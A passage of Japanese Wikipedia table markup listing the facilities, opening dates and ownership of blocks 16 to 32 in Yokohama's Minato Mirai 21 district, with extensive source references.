|1999年3月開園{{small|(15街区側)}}<br />''暫定施設''<ref name="toshi-kaihatsujokyozu">PDF「みなとみらい21 開発状況図」(横浜市都市整備局「[https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/mm21/gaiyo.html みなとみらい21地区 事業概要]」ページの“最近の状況:街区開発”内、または「[https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/mm21/mmkaihatsu/gaiku.html みなとみらい21地区全体図]」ページ内を参照/''2021年7月16日閲覧''{{small|〈キャッシュ:{{PDFlink|[https://web.archive.org/web/20190402191246/https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/mm21/gaiyo.files/0002_20190401.pdf 2019年3月31日時点の情報]/[https://megalodon.jp/ref/2019-0814-0210-02/https://www.city.yokohama.lg.jp:443/kurashi/machizukuri-kankyo/toshiseibi/mm21/mmkaihatsu/gaiku.files/0002_20190705.pdf 2019年7月7日時点の情報<!--ウェブ魚拓-->]/[https://web.archive.org/web/20200909112931/https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/mm21/mmkaihatsu/gaiku.files/20200820.pdf 2020年8月20日時点の情報]/[https://megalodon.jp/ref/2020-1116-0326-51/https://www.city.yokohama.lg.jp:443/kurashi/machizukuri-kankyo/toshiseibi/mm21/mmkaihatsu/gaiku.files/0013_20201104.pdf 2020年11月2日時点の情報]/[https://web.archive.org/web/20210625075625/https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/mm21/mmkaihatsu/gaiku.files/0017_20210624.pdf 2021年6月25日時点の情報]}}〉}})</ref><ref name="MM-info85"/><ref name="mm-gaiku01-17">[https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/mm21/mmkaihatsu/gaiku.html みなとみらい21地区全体図] > [https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/mm21/mmkaihatsu/index1-17.html 街区開発状況 新港地区(1〜17街区)](都市整備局都心再生部横浜駅・みなとみらい推進課 ''2022年9月30日閲覧'')</ref><br />(所有:横浜市)
|-
|16街区
|colspan="2"|[[アニヴェルセル みなとみらい横浜]]<br />(ブライダル関連施設、事業者:[[アニヴェルセル]])
* 一般客が利用可能なカフェ&レストラン([[アニヴェルセル みなとみらい横浜#アニヴェルセル カフェ|アニヴェルセル カフェ]])を併設。
: (アニヴェルセル カフェは2013年12月先行開業)
{{small|([[アニヴェルセル みなとみらい横浜#景観問題|景観問題]]により、外観や高さなどの変更が行われた<ref>{{PDFlink|[http://www.city.yokohama.lg.jp/kowan/news/houdou/2012houdou/pdf/kisyahappyousiryou-16gaiku.pdf みなとみらい 21新港地区16街区で計画中の結婚式場の外観デザインに関する調整結果について]〈[https://web.archive.org/web/20160304193754/http://www.city.yokohama.lg.jp/kowan/news/houdou/2012houdou/pdf/kisyahappyousiryou-16gaiku.pdf アーカイブ]〉}}(横浜市都市整備局都市デザイン室 平成24年 {{small|(2012年)}} 8月23日)</ref><ref>[http://hamarepo.com/story.php?story_id=2763 結婚式場のアニヴェルセルみなとみらいがついに完成。周囲の人の反応は?](はまれぽ.com 2014年3月8日)</ref>)}}<br />
{{small|(過去:[[カーチスホールディングス|カーチス]]横浜、2011年3月末閉店<ref>[http://www.carchs.com/shop_info/area/1402.php カーチス横浜公式ページ]</ref>)}}
|2014年2月開業<ref>[http://minatomirai.anniversaire.co.jp/ アニヴェルセル みなとみらい横浜](アニヴェルセル公式サイト)</ref><br />(''30年間の定期借地''<ref name="hamarepo120420">[http://hamarepo.com/story.php?story_id=1010 みなとみらいにできるアニヴェルセルの結婚式場の状況は?](はまれぽ.com 2012年4月20日)</ref>) <!--(暫定施設)--><br />(所有:横浜市)
|-
|17街区
|colspan="2"|[[汽車道#周辺の緑地整備(運河パーク)|運河パーク]]/プロムナード「[[汽車道]]」
* [[YOKOHAMA AIR CABIN]]「運河パーク駅」([[都市索道|都市型ロープウェイ]]、2021年4月開業)
* ピア運河パーク(船乗り場)
|汽車道:1997年7月開通<br />運河パーク:1999年9月開園
|}
{{-}}
==== 中央地区(18-67街区) ====
===== 18-25街区(みなとみらい駅方面) =====
{|class="wikitable" style="font-size:small"
!style="background-color:#efefef"|街区
!colspan="2" style="background-color:#efefef"|内容
!style="background-color:#efefef"|備考
|-
|rowspan="2"|18,22街区
|colspan="2"|[[横浜国際平和会議場]](パシフィコ横浜)
* 展示ホール
* 国立横浜国際会議場(国立大ホール)
* 会議センター
* [[国際熱帯木材機関]]
* [[ヨコハマグランドインターコンチネンタルホテル]]
|1988年12月着工<br />会議センター:1991年7月開業<br />ホテル:同年8月開業<br />展示ホール:同年10月開業<br />国立大ホール:1994年4月開業
|-
|colspan="2"|[[ぷかりさん橋]]
* みなとみらいさん橋・海上旅客ターミナル(船乗り場)
* ピア21(レストラン)(建物内2階)
(2018年、「よこはま・みなとみらい海の駅」として[[海の駅]]に認定<ref>[https://www.hamakei.com/headline/10383/ 「海の駅」認定を記念して「ぷかりさん橋フェスタ」初開催](ヨコハマ経済新聞 2018年4月22日)</ref>)<br />
(国際橋より海側{{small|〈[[#新港地区(1-17街区)|カップヌードルミュージアムパーク (10街区)]] との間〉}}に新たな人道橋<!--{{small|〈仮称:みなとみらい歩行者デッキ (MMデッキ)〉}}-->「[[女神橋]]」を2020年度に架橋<!--し、2020年に供用開始予定--><ref name="hamarepo190312"/><ref name="yokohama-kowan210330"/><ref name="kanaloco181015"/><ref name="shinonome-ri2137-190217"/><ref name="impress200127"/><ref name="city-yokohama200127"/>)
|1991年11月供用
|-
|19街区
|colspan="2"|[[臨港パーク]]
* 潮入りの池
* カフェ・[[ジョギング|ランニング]]ステーション等複合施設(臨港パークプロジェクト{{small|(仮称)}}<!--正式名称未定-->、2023年5月完成予定)<ref name="draft211122">[https://draft.co.jp/news/20211122 山下泰樹建築デザイン研究所+DRAFTがデザインする、横浜・臨港パークプロジェクトが始動]([[山下泰樹|株式会社ドラフト]] 2021年11月22日)</ref><ref name="axis211126">[https://www.axismag.jp/posts/2021/11/431293.html ⼭下泰樹建築デザイン研究所+DRAFT 横浜・臨港パークの複合施設をデザイン]([[AXIS (雑誌)|AXIS]] 2021年11月26日)</ref>
<!--* 北東側先端部に桟橋整備予定(船乗り場)-->
(2022年度〜2023年度にかけて潮入りの池<ref>{{PDF|[https://minatomirai21.com/wp-content/uploads/2022/06/f83c108ca88bb68a8fc3987b76ba3ec5.pdf 臨港パーク改修工事のお知らせ]〈[https://web.archive.org/web/20220603131044/https://minatomirai21.com/wp-content/uploads/2022/06/f83c108ca88bb68a8fc3987b76ba3ec5.pdf アーカイブ]〉}}(横浜みなとみらい21公式ウェブサイト:お知らせ 2022年6月3日)</ref>や北東側先端部<ref>[https://travel.watch.impress.co.jp/docs/news/1337089.html 横浜市、臨港パーク先端部に人工海浜や展望スポット計画。整備着手に向け意見募集。2023年度供用開始目指す](トラベル Watch, 2021年7月9日)</ref>、パシフィコ横浜と接続する本設デッキ<ref>[https://www.kentsu.co.jp/webnews/view.asp?cd=210728400045 横浜市 臨港パークに接続する3橋設計開始](建通新聞{{small|〈電子版〉}} 2021年7月29日/神奈川)</ref>などを整備予定、「[[臨港パーク#園内の整備事業]]」も参照)
|1989年3月開園<br />(一部供用開始)
|-
|rowspan="2"|20街区
|colspan="2"|[[横浜みなとみらい国際コンベンションセンター]](パシフィコ横浜ノース〈新展示場〉)<ref name="yokohama-bunkakanko180215"/><ref name="nikkei140321"/><ref name="kentsu140324"/><ref name="hamarepo180223"/><ref name="pacifico-north">[http://www.pacifico.co.jp/planner/facilities/north/tabid/612/Default.aspx パシフィコ横浜:ノース(2020年春開業予定)](公式サイト)</ref><br />〈みなとみらい21中央地区20街区[[MICE]]施設整備事業〉<br />
稼働率が限界に近づいているパシフィコ横浜の拡張およびMICE機能<ref group="注" name="MICE">'''[[MICE]]'''(マイス)は Meeting([[会議]]・[[研修]])、Incentive tour(招待旅行)、[[カンファレンス|Conference]](国際・学術会議 / [[コンベンション|Convention]]とする場合もある)、Exhibition([[展示会]])の[[頭文字]]で、これらを合わせた呼称として使用される。 参考:[https://www.tourism.jp/tourism-database/glossary/mice/ JTB総合研究所 観光用語集「MICE」]</ref>を拡充するため、新たな[[コンベンション・センター|コンベンション施設]](新展示場)をパシフィコ横浜の隣接地である20街区に開発(※パシフィコ横浜とは[[ペデストリアンデッキ]]で接続し、一体的に運用される)<ref name="kanaloco161206">[https://www.kanaloco.jp/news/government/entry-5263.html パシフィコと一体運用「横浜国際平和会議場」に MICE施設運営](神奈川新聞{{small|〈カナロコ〉}} 2016年12月6日)</ref>。2020年4月に開業<ref name="pacifico-north"/>。<br />
※当街区は「パシフィコ横浜」に隣接していることから、稼働率が限界に近づく展示場などの拡張とホテルの新設を計画<ref name="yuuran-MM20-140702"/><ref name="kanaloco120706"/><ref name="kentsu130318"/><ref name="chihoken130206"/>。民間資金を活用する[[PFI]]事業とし、施設の建設・維持管理を行う事業者については[[競争入札|入札]]を行い[[竹中工務店]]が選定された(2015年12月契約締結)<ref name="kanaloco150107">[https://www.kanaloco.jp/news/economy/entry-55191.html PFI事業者募集 MM21・新たなMICE整備 予定価格378億円](神奈川新聞{{small|〈カナロコ〉}} 2015年1月7日)</ref><ref>[http://mainichi.jp/area/kanagawa/news/m20150124ddlk14010199000c.html 横浜市:PFI事業者を募集 パシフィコ横浜隣接地、複合展示施設整備 /神奈川](毎日新聞 2015年1月24日)</ref>。<br />
※なお、運営事業者については既存施設(パシフィコ横浜)の運営も行う横浜国際平和会議場が選定されている<ref name="kanaloco161206"/><ref name="decn161206">[http://www.decn.co.jp/?p=79676 横浜市/MM21地区中央20街区MICE施設運営事業/事業者に横浜国際平和会議場](日刊建設工業新聞 2016年12月6日5面)</ref>。<br />
{{small|(過去:[[ナムコ]]および[[日活]]が経済的な理由の他、[[労働組合]]の反発等もあって当街区での開発を中止)}}
|2017年8月着工<ref>[https://www.ymm21.jp/database/detail/post-8.html パシフィコ横浜ノース〈20街区〉<!--みなとみらい21中央地区20街区MICE施設整備事業(MICE施設)-->](みなとみらいエリアマネジメント公式サイト:みなとみらいデータベース)</ref><br />2020年4月開業<br />(所有:横浜市)
|-
|colspan="2"|会員制[[ホテル#分類・種類(日本)|リゾートホテル]]「[[横浜ベイコート倶楽部 ホテル&スパリゾート]]」 / 一般高級ホテル「[[ザ・カハラ・ホテル&リゾート 横浜]]」
新展示場の隣接地(同街区内)には、[[リゾートトラスト]]が会員制リゾートホテル「横浜ベイコート倶楽部 ホテル&スパリゾート」および一般高級ホテル「ザ・カハラ・ホテル&リゾート 横浜」([[ハワイ州]][[オアフ島]]のホテルブランド「[[ザ・カハラ・ホテル&リゾート]]」の世界展開第一号)を開発。2020年9月に開業<ref>[http://building-pc.cocolog-nifty.com/helicopter/2015/09/post-3eaf.html 横浜みなとみらい21地区 みなとみらい21中央地区20街区MICE施設整備事業 「竹中工務店グループ」が落札者に決定 「リゾートトラスト」の斬新なホテルも!](東京・大阪 都心上空ヘリコプター遊覧飛行 2015年9月2日)</ref><ref>{{PDFlink|1=[https://www.resorttrust.co.jp/ps/qn3x/guest/news/dldata.cgi?CCODE=0&NCODE=114 「カハラ」ブランドで、ラグジュアリーホテルを世界展開へ 2020 年夏、「ザ・カハラ・ホテル&リゾート 横浜」が誕生]}}(リゾートトラスト株式会社 2017年10月16日)</ref>。<br />
(新展示場とホテルの間には[[#ペデストリアン軸(歩行者動線)|歩行者動線の「キング軸」]]を整備<ref name="pacifico-north"/>、さらに<!--同動線の一部として-->集合住宅2棟が建つ[[#50-67街区(新高島駅方面)|50街区方面]]に向けて歩行者デッキ「キングモール橋 {{small|(きょう)}}」を架橋し、2020年4月に供用開始<!--<ref name="townnews181101">[https://www.townnews.co.jp/0113/2018/11/01/455101.html {{small|市政報告}} MMと横浜駅結ぶ新たなデッキ{{small|〈自由民主党・横浜市会議員(西区) しみず富雄〉}}](タウンニュース{{small|〈中区・西区版〉}} 2018年11月1日号)</ref>--><ref name="impress200127"/><ref name="city-yokohama200127"/>)
|2017年9月着工<ref>[https://www.ymm21.jp/database/detail/post-130.html 横浜ベイコート倶楽部 ホテル&スパリゾート / ザ・カハラ・ホテル&リゾート 横浜〈20街区〉<!--みなとみらい21中央地区20街区MICE施設整備事業(ホテル施設)-->](みなとみらいエリアマネジメント公式サイト:みなとみらいデータベース)</ref><br />2020年4月竣工<br />(同年9月開業)<br />(所有:横浜市)
|-
|21街区
|colspan="2"|内貿バース([[耐震]]バース・耐震強化[[岸壁]])
* みなとみらい臨時[[ヘリポート]]
|大規模災害発生時に緊急物資や被災者の海上輸送基地として利用
|-
|rowspan="2"|23街区
|colspan="2"|[[よこはまコスモワールド]]<br />{{small|(コスモワールドの当街区敷地にて、日本丸メモリアルパークの拡張計画あり)}}
|1990年8月開園{{small|(23街区側)}}<br />(1999年3月リニューアル再開園)<br />''暫定施設''<br />(所有:横浜市)
|-
|colspan="2"|[[日本丸メモリアルパーク]]
* [[横浜みなと博物館]](旧名称:横浜マリタイムミュージアム)
* [[日本丸メモリアルパーク#日本丸展示ドック|日本丸展示ドック]]([[重要文化財]]:旧横浜船渠株式会社第一号船渠、2000年指定)
** 帆船[[日本丸 (初代)|日本丸]](重要文化財<!--:正式指定名未定-->、2017年指定/1985年4月より浮体展示)<ref name="hamakei170317"/>
* ヘミングウェイ横浜(カフェ・バー&レストラン)<ref>[https://yokohama.hemingway.cafe/ ヘミングウェイ横浜 公式サイト]</ref><ref>[https://hamakore.yokohama/nippon-maru-memorial-park-hemingway-yokohama-202203/ 日本丸メモリアルパークの緑地・公園一部、飲食やイベントスペースに活用!ヘミングウェイ横浜](はまこれ横浜 2022年3月23日)</ref>
* ピア日本丸(船乗り場)
|1985年4月開園<br />(一部供用開始)<br />'''<横浜みなと博物館>'''<br />1989年3月開館{{small|([[横浜博覧会]]開幕時)}}<br /><!--展示物を更新し-->2009年4月現名称で<!--リニューアル-->再開館<br />(2022年6月<!--再度-->リニューアル開館)
|-
|rowspan="12"|24街区
|rowspan="12"|[[クイーンズスクエア横浜]]
|クイーンモール(低層部メインストリート)
|rowspan="3"|1997年7月供用
|-
|クイーンズサークル(建物内1階、イベントフロア)
|-
|クイーンズパーク(クイーンズスクエア前広場)
|-
|ショッピングフロア
* [[みなとみらい東急スクエア]]<ref name="tokyu170426"/><ref name="hamakei170426"/><ref name="fashion-press171002"/><ref name="allabout171027"/>
** クイーンズイースト(旧よこはま[[東急百貨店]])と[アット!]を2017年10月に統合。5つのゾーン(①、②、③、④、ステーションコア)で構成される。
|2017年10月開業<br />{{small|([アット!]:1997年7月開業)<br />(よこはま東急百貨店:同年9月開業)}}
|-
|クイーンズタワーA
(地上36階・地下5階、高さ約172m<ref name="mm-gaiku18-25">[https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/mm21/mmkaihatsu/gaiku.html みなとみらい21地区全体図] > [https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/mm21/mmkaihatsu/index18-25.html 街区開発状況 中央地区(18〜25街区)](都市整備局都心再生部横浜駅・みなとみらい推進課 ''2022年9月30日閲覧'')</ref>)
* [[日揮]]横浜本社(建物内の大部分)
* [[神奈川大学]]みなとみらい[[エクステンションセンター]](KUポートスクエア/建物内14階)
|rowspan="3"|1997年7月開業
|-
|クイーンズタワーB
(地上28階・地下5階、高さ約138m<ref name="mm-gaiku18-25"/>)
* [[ノジマ]]本社(建物内26階)
* 日立情報通信エンジニアリング本社(同22階)
|-
|クイーンズタワーC
(地上21階・地下5階、高さ約109m<ref name="mm-gaiku18-25"/>)
|-
|[[横浜ベイホテル東急]](旧名称:パン パシフィックホテル横浜)
|1997年8月開業
|-
|[[横浜みなとみらいホール]](建物内1階)
|1998年6月開館<br />(2022年10月リニューアル開館)
|-
|みなとみらいギャラリー(建物内2階)
|
|-
|[[みなとみらい駅]](建物内地下3階で直結)
|2004年2月開業
|-
|[[地域熱供給|地域冷暖房]]システム第2プラント(クイーンズタワーA地下4-5階、事業者:[[みなとみらい21熱供給]])
|1997年6月竣工
|-
|rowspan="4"|25街区
|rowspan="3"|横浜ランドマーク
|[[横浜ランドマークタワー]]
(事業者:[[三菱地所]])<br />(地上70階・地下3階、高さ約296m<ref name="mm-gaiku18-25"/>〈最頂部高さ296.33m〉)
* [[横浜ランドマークタワー#スカイガーデン|スカイガーデン]](建物内69階・展望フロア)
* [[横浜ロイヤルパークホテル]]
* [[横浜国立大学]]みなとみらいキャンパス(同18階)
* [[横浜エフエム放送]] (FM Yokohama) 本社(同10階)
* [[テレビ神奈川]] (tvk) 中継局横浜みなと
|1990年3月着工<br />1993年7月開業<br />(ホテル:同年9月開業)
|-
|[[横浜ランドマークタワー#ランドマークプラザ|ランドマークプラザ]](ショッピングモール)
* ランドマークホール(建物内5階)
* ランドマークスタジオ(同5階)
* [[ポケモンセンター|ポケモンセンターヨコハマ]](同4階)
|1993年7月開業
|-
|[[横浜ランドマークタワー#ドックヤードガーデン|ドックヤードガーデン]](重要文化財:旧横浜船渠株式会社第二号船渠、1997年指定)
||1993年7月供用
|-
|colspan="2"|[[ニコル・グループ]]の自動車ショールーム{{small|(下記のショールームが隣接営業している)}}<ref group="注">この場所には2006年8月まで、マンション販売センターの「フォレシスギャラリー」(暫定施設)があった。</ref>
* [[ロールス・ロイス・モーター・カーズ]]横浜<ref name="nicole-rollsy"/>
* Nicole [[BMW]] 横浜みなとみらい支店(''2013年12月閉鎖'')<ref name="nicole-bmwy">[http://www.nicole-bmw.co.jp/jp/nicole-bmw/ja/dealer/find_us/department_8.html Nicole BMW 横浜みなとみらい支店](Nicole BMW department, 公式ページ)</ref>
* <!--Nicole Competizione -->[[フェラーリ]]横浜<!--みなとみらい-->ショールーム(2014年2月開業)<ref name="yokohama-ferraridealers"/><ref name="carwatch131003">[https://car.watch.impress.co.jp/docs/news/618010.html フェラーリ、ニコルと正規ディーラー契約を締結 2014年春に横浜みなとみらいにフェラーリ・ショールームをオープン](Car Watch, 2013年10月3日)</ref><ref name="kanaloco140213-nicole">[https://www.kanaloco.jp/news/economy/entry-44441.html フェラーリ、県内初の正規ディーラーがオープン/神奈川](神奈川新聞{{small|〈カナロコ〉}} 2014年2月13日)</ref><ref name="Nicole-pr210331">[https://prtimes.jp/main/html/rd/p/000000001.000075593.html フェラーリのDNAと新たな手法を組み合わせた、「カスタマーの夢を実現する場所」としてのショールームへ「Nicole Competizioneフェラーリ横浜ショールーム」リニューアル](Nicole Competizione 合同会社〈PR TIMES〉 2021年3月31日)</ref>
三菱地所のレジデンス ラウンジ みなとみらいイベントスクエア<ref>[http://lounge.mec.co.jp/lounge_information/mmes/index.html 三菱地所のレジデンス ラウンジ『みなとみらいイベントスクエア』 横浜エリアのイベントスペースとして各種イベントを開催してまいります!!](三菱地所のレジデンス ラウンジ 公式サイト)</ref>
* マンションギャラリー<!--2017年5月時点では「ザ・パークハウス 横浜伊勢町」-->や[[リフォーム]]ショールームを併設
{{small|(ランドマークタワー二期棟建設予定地<!--上記の自動車ショールームおよびレジデンスラウンジ全体を含む--><ref name="mitsubishi jisho161027"/><ref name="hamarepo161129"/><ref name="mitsubishi jisho171201"/><ref>[http://taccolinmm.livedoor.blog/archives/2282318.html ランドマークタワーの二期棟計画(当面延期?)](みなとみらい線周辺散歩日記 2006年3月26日/[[ウェイバックマシン|Wayback Machine]]による[https://web.archive.org/web/20151117181817/http://blogs.yahoo.co.jp/taccolin/31127077.html 2015年11月17日時点のアーカイブ])/[http://blogs.yahoo.co.jp/taccolin/39958295.html ランドマークタワーの二期棟](同ブログ記事 同年7月31日/Wayback Machineによる[https://web.archive.org/web/20160611183819/http://blogs.yahoo.co.jp/taccolin/39958295.html 2016年6月11日時点のアーカイブ])</ref>)}}
|''暫定施設''<br />(所有:三菱地所<ref name="mitsubishi jisho161027"/><ref name="mitsubishi jisho171201"/>)<br />{{small|(ランドマークタワー二期棟の開発時期等詳細については不明)}}
|}
{{-}}
===== 26-31街区(桜木町駅方面) =====
<!--画像は街区記載順に-->
[[画像:FSI Headquarter office 2013 01.JPG|<!--180px|-->thumb|[[富士ソフト]]本社ビル]]
[[画像:TOC Minatomirai 2012.JPG|<!--180px|-->thumb|[[ヒューリックみなとみらい]]]]
{|class="wikitable" style="font-size:small"
!style="background-color:#efefef"|街区
!colspan="2" style="background-color:#efefef"|内容
!style="background-color:#efefef"|備考
|-
|26街区
|colspan="2"|[[クロスゲート (商業施設)|クロスゲート]] (CROSS GATE)
(地上25階・地下2階、高さ約100m<ref name="mm-gaiku26-31">[https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/mm21/mmkaihatsu/gaiku.html みなとみらい21地区全体図] > [https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/mm21/mmkaihatsu/index26-31.html 街区開発状況 中央地区(26〜31街区)](都市整備局都心再生部横浜駅・みなとみらい推進課 ''2022年9月30日閲覧'')</ref>)
* [[クロスゲート (商業施設)#横浜桜木町ワシントンホテル|横浜桜木町ワシントンホテル]]
|1998年4月着工<br />2000年10月開業
|-
|rowspan="2"|27街区
|colspan="2"|[[横浜桜木郵便局]]
|1997年4月移転開局
|-
|colspan="2"|[[富士ソフト]]本社ビル
(地上21階・地下2階、高さ約105m<ref name="mm-gaiku26-31"/>)
|2004年4月開業
|-
|28街区
|colspan="2"|[[ヒューリックみなとみらい]](旧名称:TOCみなとみらい〈2017年12月に改称〉)<ref name="ryoutan"/><br />
(事業者:[[テーオーシー]])<br />
(所有:[[ヒューリック]](土地)/ [[芙蓉総合リース]](建物))<ref>{{PDFlink|1=[http://v4.eir-parts.net/v4Contents/View.aspx?template=announcement&sid=35550&code=3003 「TOC みなとみらい」の取得について]}}(ヒューリック株式会社 2017年3月30日)</ref><ref>[https://ryutsuu.biz/strategy/j033111.html TOC/横浜市のSC「コレットマーレ」を含む施設を665億円で譲渡](流通ニュース 2017年3月31日)</ref><ref>[http://kenplatz.nikkeibp.co.jp/atcl/nfmnews/15/033002466/ 【売買】TOCみなとみらい、ヒューリックなどが665億円で取得](日経不動産マーケット情報 2017年3月31日)</ref><br />
(地上19階・地下1階、高さ約94m<ref name="mm-gaiku26-31"/>)
* 商業棟(低層部)
** [[コレットマーレ]] (B1-7F)
** [[横浜ブルク13]](映画館/6-9F)
** MM Begin([[フィットネスクラブ]]/7-8F)
* ホテル・オフィス棟(高層部)
** [[ニューオータニイン横浜プレミアム]] (10-19F)
|2007年9月着工<br />2010年3月開業<br />
|-
|29街区
|colspan="2"|県民共済プラザビル([[神奈川県民共済生活協同組合]]の本部を設置)
(地上14階・地下2階、高さ約70m<ref name="mm-gaiku26-31"/>)
* 県民共済みらいホール(建物内1階、[[多目的ホール|貸ホール]])
* 結婚式場メルヴェーユ(建物内4-7階、同組合員が利用できる結婚式場)
|2004年3月開業
|-
|rowspan="2"|30街区
|colspan="2"|[[横浜銀行本店ビル]]
(地上28階・地下3階、高さ約152m<ref name="mm-gaiku26-31"/>)
|1990年12月着工<br />1993年9月開業
|-
|colspan="2"|[[日石横浜ビル]]
(地上30階・地下2階、高さ約133m<ref name="mm-gaiku26-31"/>)
|1994年7月着工<br />1997年7月開業
|-
|rowspan="2"|31街区
|colspan="2"|みなとみらい21クリーンセンター
* 廃棄物管路収集施設(みなとみらい21管路収集システムを管理運用){{refn|group="注"|name="gomi-kanrosyusyu"|各施設から投入されたごみは空気の流れを利用した輸送システムにより、みなとみらい21クリーンセンター(31街区)内の廃棄物管路収集施設に一元集積される(みなとみらい21管路収集システム)。道路上にごみを置く必要がなく衛生面や街の美観に貢献していたが、2000年代に入ると採算性や[[分別収集|ごみの分別]]に不向きなどの問題が顕著となり2010年までの廃止が検討されていた。その後も暫く継続されていたが、2014年1月には横浜市が2017年度末までに廃止する方針を決定した<ref name="hamarepo160428"/>。}}<ref name="shigenkousya-kanrosyusyu">[http://www.shigenkousha.or.jp/mm21cc.html 廃棄物処理施設等管理運営事業(クリーンセンター管理運営業務)](公益財団法人横浜市資源循環公社)</ref>
: (管路収集は2017年度末{{small|〈2018年3月末〉}}に廃止<ref name="kanaloco140112">[https://www.kanaloco.jp/news/government/entry-43510.html 「夢のシステム」廃止へ MM21地区のごみ管路収集 分別困難、更新費かさみ/横浜市](神奈川新聞{{small|〈カナロコ〉}} 2014年1月12日)</ref><ref name="hamarepo160428">[http://hamarepo.com/story.php?story_id=5216 みなとみらいのごみは地下システムで一気に収集されるって本当?](はまれぽ.com 2016年4月28日)</ref><ref name="asahi180325">{{Cite news |date=2018-03-25 |title=夢の「掃除機」27年で幕 MM21 ごみ吸引パイプライン リサイクル進み時代遅れに |author=太田泉生 |newspaper=朝日新聞 朝刊 湘南版 |page=29 |url=https://www.asahi.com/articles/ASL3M4WNBL3MULOB014.html |accessdate=2018-05-17 |ref=""asahi20180325"}}</ref>)
* 以前からオフィススペースもあり、上記の施設を管理・運営する[[公益財団法人]]横浜市資源循環公社が入居していた<ref>[http://www.shigenkousha.or.jp/mokuteki.html 公益財団法人横浜市資源循環公社:設立目的・基本情報]</ref>。
* 収集施設廃止後は横浜市役所の共用書庫や事務処理センター機能を設けて、庁舎建物として活用([[リノベーション]])<ref>[https://www.kensetsunews.com/web-kan/695494 横浜市公共建築100年:【記念シリーズ・横浜市公共建築100周年】第8回 みなとみらい21・クリーンセンター](建設通信新聞Digital 2022年5月17日)</ref>。
|1988年4月着工<br />1991年5月開業
|-
|colspan="2"|[[みなとみらい21熱供給]]
* [[地域熱供給|地域冷暖房]]システムセンタープラント
|1989年2月竣工<br />同年4月熱供給開始
|}
{{-}}
===== 32-38街区 =====
<!--画像は街区記載順に-->
[[画像:OCEAN GATE MINATO MIRAI 01.jpg|180px|thumb|[[オーシャンゲートみなとみらい]]]]
[[画像:Minatomirai Business Square 01.jpg|180px|thumb|[[みなとみらいビジネススクエア]]]]
[[画像:MM Park Building 2.jpg|180px|thumb|[[MMパークビル]]]]
[[画像:MM Center Building 2.jpg|180px|thumb|[[みなとみらいセンタービル]]]]
[[画像:MARK IS minatomirai 4.jpg|180px|thumb|[[MARK IS みなとみらい]]]]
[[画像:Mitsubishi heavy industries Yokohama building 2012.JPG|180px|thumb|[[三菱重工横浜ビル]]]]
{|class="wikitable" style="font-size:small"
!style="background-color:#efefef"|街区
!colspan="2" style="background-color:#efefef"|内容
!style="background-color:#efefef"|備考
|-
|rowspan="3"|32街区
|colspan="2"|[[けいゆう病院]]
|1996年1月移転開院
|-
|colspan="2"|[[神奈川県警察|神奈川県警]]みなとみらい分庁舎
* [[戸部警察署]]みなとみらい交番(建物内1階)
(国際大通り側に神奈川県警みなとみらい分庁舎が使用する暫定駐車場あり<ref name="toshi-kaihatsujokyozu"/>)
|2000年3月開庁
|-
|colspan="2"|[[オーシャンゲートみなとみらい]](事務所棟)・ブランズタワーみなとみらい(集合住宅棟)からなる高層複合施設<ref name="nikkei140624"/><ref name="decn140626"/><ref name="yuran-MM32-140626"/>{{Refnest|group="注"|当初は大型商業施設(複数社による共同開発)と集合住宅からなる複合施設が計画されていた<ref name="kanaloco130529">[https://www.kanaloco.jp/news/social/entry-115971.html MM地区に新商業施設、相互直通で開発加速/横浜](神奈川新聞{{small|〈カナロコ〉}} 2013年5月29日/記事のアーカイブ:[https://archive.is/TEiXo Archive.is (25 Jun 2013)])</ref>。}}<br />(事業者:[[東急不動産]]/設計・施工:[[清水建設]])
* オーシャンゲートみなとみらい (OCEAN GATE MINATO MIRAI):オフィス、店舗、[[保育所]]などが入る。<br />(地上15<!--14-->階、高さ約82m<!--最高部高さ81.85m、軒高76.63m--><ref name="mm-gaiku32-38">[https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/mm21/mmkaihatsu/gaiku.html みなとみらい21地区全体図] > [https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/mm21/mmkaihatsu/index32-38.html 街区開発状況 中央地区(32〜38街区)](都市整備局都心再生部横浜駅・みなとみらい推進課 ''2022年9月30日閲覧'')</ref>)
** [[キャタピラージャパン]]が2017年12月に本社や複数の部門、関連会社を移転・集約<ref>[http://www.decn.co.jp/?p=93307 キャタピラージャパン/横浜市西区に本社移転へ/17年12月中に、拠点再構築の一環](日刊建設工業新聞 2017年8月8日3面)</ref>。
** [[京セラ]]が2019年5月に国内6箇所目となる[[研究開発]]拠点「[[オーシャンゲートみなとみらい#京セラの研究開発拠点|みなとみらいリサーチセンター]]」を開設(開所式は同年7月19日)<!--(建物内1F・3-6F)--><ref name="nikkei181025">[https://www.nikkei.com/article/DGXMZO36922400V21C18A0TJ2000/ 京セラ、横浜にソフト開発集約 600人規模](日本経済新聞 2018年10月25日)</ref><ref>[https://www.nikkei.com/article/DGXMZO47519490Z10C19A7AM1000/ 京セラ、横浜にソフトウエアの研究開発拠点を開設](日本経済新聞 2019年7月19日)</ref><ref>[https://www.townnews.co.jp/0113/2019/07/25/490424.html 立地生かし、新たな価値創出へ 京セラが新研究拠点を開所](タウンニュース{{small|〈中区・西区版〉}} 2019年7月25日号)</ref>。
*** 品川や横浜市内の計3箇所に分散する通信システム・[[人工知能|AI]]関連技術者など約600人(最終的に1,000人規模に拡大)を集約し、[[モノのインターネット|IoT]]やエネルギー関連、自動車の[[先進運転支援システム]] (ADAS) といった先進技術・システムの研究開発などを強化。
*** 「共創スペース」を開設し、[[オープンイノベーション]]の仕組みも導入。
